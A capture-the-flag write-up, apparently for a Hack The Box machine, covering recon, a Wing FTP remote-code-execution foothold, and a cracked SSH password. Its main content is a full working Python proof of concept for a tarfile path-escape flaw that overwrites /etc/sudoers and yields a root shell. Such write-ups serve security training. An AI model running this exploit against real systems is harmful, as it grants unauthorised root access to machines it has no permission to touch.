A Linux machine where an unauthenticated FTP server vulnerability opens the initial foothold, and an archive extraction flaw in a Python script allows writing files outside intended boundaries for privilege escalation.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.7.213 | grep '^[0-9]' | cut -d '/' -f 1 | tr'\n'',' | sed s/,$//) $ nmap -p$ports -sC -sV 10.129.7.213 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-15 04:29 EST Nmap scan report for 10.129.7.213 Host is up (0.18s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA) |_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519) 80/tcp open http Apache httpd 2.4.66 |_http-server-header: Apache/2.4.66 (Debian) |_http-title: Did not follow redirect to http://wingdata.htb/ Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.74 seconds
Findings:
22/tcp: OpenSSH 9.2p1 (Debian)
80/tcp: Apache 2.4.66 redirecting to http://wingdata.htb/
Foothold
Hostname setup
The web server on port 80 redirects to wingdata.htb, so add the vhost to /etc/hosts:
1
$ echo'10.129.7.213 wingdata.htb' | sudotee -a /etc/hosts
The site links to a client portal that redirects to ftp.wingdata.htb, so add that as well:
1
$ echo'10.129.7.213 ftp.wingdata.htb' | sudotee -a /etc/hosts
Exploit Wing FTP (CVE-2025-47812)
The client portal is using Wing FTP Server v7.4.3.
Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812, which allows unauthenticated RCE.
One password was cracked, belonging to user wacky.
Use wacky:!#7Blushing^*Bride5 to connect via SSH and get the flag:
1 2 3
$ ssh wacky@wingdata.htb
wacky@wingdata:~$
Privilege Escalation
Sudo permissions
Check sudo permissions. The user can run a Python script as root:
1 2 3 4 5 6 7
wacky@wingdata:~$ sudo -l Matching Defaults entries for wacky on wingdata: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * wacky@wingdata:~$
Target script and vulnerable runtime
Inspecting restore_backup_clients.py shows it is a backup-restore utility using Tarball.
The system is also using Python 3.12.3:
1 2
$ python3 -V Python 3.12.3
Python 3.12.3 is vulnerable to CVE-2025-4517, a Tarfile realpath overflow vulnerability.
The vulnerability affects Tarfile.extractall() and Tarfile.extract() methods. It allows writing outside the extraction directory during extraction with filter="data" or filter="tar".
restore_backup_clients.py uses the extractall() method with filter="data", meaning a malicious tar can write to arbitrary paths or create new files as root:
1 2
with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data")
Malicious tar creation (PoC)
We’ll modify this PoC to create a malicious tar that adds wacky to the sudoers file with all permissions.
This script creates backup_9999.tar directly in /opt/backup_clients/backups:
import tarfile import os import io import sys # 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896 # on OSX), leaving 128 bytes for a prefix and at least a few chars of the link comp = 'd' * (55 if sys.platform == 'darwin'else 247) steps = "abcdefghijklmnop" path = "" with tarfile.open("/opt/backup_clients/backups/backup_9999.tar", mode="x") as tar: # populate the symlinks and dirs that expand in os.path.realpath() for i in steps: a = tarfile.TarInfo(os.path.join(path, comp)) a.type = tarfile.DIRTYPE tar.addfile(a) b = tarfile.TarInfo(os.path.join(path, i)) b.type = tarfile.SYMTYPE b.linkname = comp tar.addfile(b) path = os.path.join(path, comp) # create the final symlink that exceeds PATH_MAX and simply points to the # top dir. this allows *any* path to be appended. # this link will never be expanded by os.path.realpath(), nor anything after it. linkpath = os.path.join("/".join(steps), "l"*254) l = tarfile.TarInfo(linkpath) l.type = tarfile.SYMTYPE l.linkname = ("../" * len(steps)) tar.addfile(l) # make a symlink outside to keep the tar command happy e = tarfile.TarInfo("escape") e.type = tarfile.SYMTYPE e.linkname = linkpath + "/../../../../etc" tar.addfile(e) # use the symlinks above, that are not checked, to create a hardlink # to a file outside of the destination path f = tarfile.TarInfo("flaglink") f.type = tarfile.LNKTYPE f.linkname = "escape/sudoers" tar.addfile(f) # now that we have the hardlink we can overwrite the file content = b"wacky ALL=(ALL) NOPASSWD:ALL\n" c = tarfile.TarInfo("flaglink") c.type = tarfile.REGTYPE c.size = len(content) tar.addfile(c, fileobj=io.BytesIO(content))
Create a Python file and paste the script:
1
wacky@wingdata:~$ nano poc.py
Run the script to generate the backup tar:
1
wacky@wingdata:~$ python3 poc.py
Restore and escalate to root
Run the restore script to extract the malicious tar, then confirm full sudo access and spawn a root shell:
1 2 3 4 5 6 7 8 9
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_poc [+] Backup: backup_9999.tar [+] Staging directory: /opt/backup_clients/restored_backups/restore_poc [+] Extraction completed in /opt/backup_clients/restored_backups/restore_poc wacky@wingdata:~$ sudo -l User wacky may run the following commands on wingdata: (ALL) NOPASSWD: ALL wacky@wingdata:~$ sudo /bin/bash root@wingdata:/home/wacky#
Vaultex
Version 1.0
Theme repository
View the source code, report issues, and contribute to the theme on GitHub.